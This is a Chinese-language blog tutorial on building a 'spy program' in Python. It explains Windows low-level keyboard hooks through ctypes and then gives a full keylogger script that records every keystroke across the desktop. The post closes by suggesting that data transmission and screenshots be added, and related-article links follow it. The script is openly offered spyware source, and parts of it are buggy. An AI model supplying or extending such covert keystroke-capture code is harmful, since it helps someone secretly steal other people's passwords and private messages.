使用Python打造一款间谍程序
知识点
这次我们使用python来打造一款间谍程序
程序中会用到许多知识点,大致分为四块
win32API 此处可以在MSDN上查看
Python基础重点在cpytes库的使用,使用方法请点击此处
C语言基础
Hook
程序的基本原理在于通过注册Hook,记录系统事件
那么什么是Hook呢
Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递
注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
我们导入了user32.dll和kernel32.dll
这两个DLL有什么用处呢
user32.dll 是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息
kernel32.dll 控制着系统的内存管理、数据的输入输出操作和中断处理
流程部分
知道了我们要使用什么样的工具,那么第一步应该怎么做呢
1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子
HHOOK SetWindowsHookExA(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看
通过文档我们看到第一个参数idHook中填入钩子的类型
WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件
第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的
第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄
最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联
代码如下
user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)
如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数
此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为
WINFUNCTYPE 为Windows下独有的,通过使用使用stdcall调用约定的函数
CFUNCTYPE 使用标准C调用约定的函数
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它
LowLevelKeyboardProc数据结构如下
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
按照官方文档提示 如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值
我们转换为Python代码
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
# 此处插入我们的代码
pass
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除
删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄
user32.UnhookWindowsHookEx(hooked)
下面贴上全部代码
import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll") class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)] def uninstallHookProc(hooked):
if hooked is None:
return
user32.UnhookWindowsHookEx(hooked)
hooked = None def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20)
# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
if lParam.contents.value==13:
print("\n")
elif capsLock:
print(chr(lParam.contents.value),end="")
else:
print(chr(lParam.contents.value+32),end="")
return user32.CallNextHookEx(hooked, nCode, wParam, lParam) def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
if not hooked:
return False
return True HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
print("Hook installed")
try:
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
except KeyboardInterrupt as kerror:
uninstallHookProc(hooked)
print("Hook uninstall...")
else:
print("Hook installed error")
贴上我们的效果图

我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^
如何想要了解更多的只是请点击这里把 => 地址
转载请附上原文出处链接及本声明
使用Python打造一款间谍程序的更多相关文章
- 使用python打造一款音乐播放器
作者qq:64761294 编程/考试交流群:834531270 欢迎交流 核心播放模块(pygame内核) import time import pygame import easygui as g ...
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)
“很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)
上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...
- 打造一款 刷Java 知识的小程序(二)
学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...
- 教你用python打造WiFiddos
本文来源于i春秋学院,未经允许严禁转载. 0x00 前言因为在百度上很难找到有关于用python打造WiFidos的工具的,而且不希望大家成为一名脚本小子,所以我打算写一篇,需要的工具有scapy,i ...
- 10分钟教你用Python打造微信天气预报机器人
01 前言 最近武汉的天气越来越恶劣了.动不动就下雨,所以,拥有一款好的天气预报工具,对于我们大学生来说,还真是挺重要的了.好了,自己动手,丰衣足食,我们来用Python打造一个天气预报的微信机器人吧 ...
- 如何打造一款五星级的 APP ?
移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...
- 【python】10分钟教你用python打造贪吃蛇超详细教程
10分钟教你用python打造贪吃蛇超详细教程 在家闲着没妹子约, 刚好最近又学了一下python,听说pygame挺好玩的.今天就在家研究一下, 弄了个贪吃蛇出来.希望大家喜欢. 先看程序效果: 0 ...
- Python flask构建微信小程序订餐系统
第1章 <Python Flask构建微信小程序订餐系统>课程简介 本章内容会带领大家通览整体架构,功能模块,及学习建议.让大家在一个清晰的开发思路下,进行后续的学习.同时领着大家登陆ht ...
随机推荐
- 【转】分布式服务框架 Zookeeper -- 管理分布式环境中的数据
Zookeeper 分布式服务框架是 Apache Hadoop 的一个子项目,它主要是用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务.状态同步服务.集群管理.分布式应用配置项的管理 ...
- C语言之函数用法总结
C语言函数概述: 构成C语言程序的基本模块,模块化编程的最小单位. 函数调用的基本方式: 函数调用时的数据传递: 函数调用的过程: 函数原型与函数定义的区别: 函数封装: 1.外界对函数的影响仅限于入 ...
- MongoDB Community 的安装和卸载
MongoDB在他们的仓库中提供官方支持的包,该仓库包括以下软件包 mongodb-org:自动安装下面的四个组件安装包 a.mongodb-org-server:mongod的守护进程和相关的配置以 ...
- (1)解锁 MongoDB replica set核心姿势
副本集Replica Set是一个术语,定义具有多节点的数据库集群,这些节点具有主从复制(master-slave replication) 且节点之间实现了自动故障转移. 这样的结构通常需要具有奇数 ...
- 优化webpack构建时间的小技巧
在之前工作的地方,我们一直使用webpck去构建.但是,经过长达四年的更新迭代,每个人都在同一个项目中做了不同的操作和更新,这导致我们生产构建时间达到了惊人的一分半,watch模式的rebuild也达 ...
- Spark集群-Standalone 模式
Spark 集群相关 table td{ width: 15% } 来源于官方, 可以理解为是官方译文, 外加一点自己的理解. 版本是2.4.4 本篇文章涉及到: 集群概述 master, worke ...
- qiniuLive 连麦流程介绍
本文出自APICloud官方论坛 qiniuLive 封装了七牛直播云服务平台的移动端开放 SDK.该模块包括视频流采集和视频流播放两部分 iOS连麦流程图: Android连麦流程图: 以下部分代码 ...
- nor flash之擦除和写入
最近研究了下nor flash的掉电问题,对nor的掉电有了更多的认识.总结分享如下 擦除从0变1,写入从1变0 nor flash的物理特性是,写入之前需要先进行擦除.擦除后数据为全0xFF,此时写 ...
- echarts 使用时,常见配置
1.隐藏x轴,y轴,网格线 "yAxis": [ { //就是一月份这个显示为一个线段,而不是数轴那种一个点点 "show" : true, "bou ...
- Java服务端两个常见的并发错误
理想情况来讲,开发在开始编写代码之前就应该讲并发情况考虑进去,但是大多数实际情况确是,开发压根不会考虑高并发情况下的业务问题.主要原因还是因为业务极难遇到高并发的情况. 下面列举两个比较常见的后端编码 ...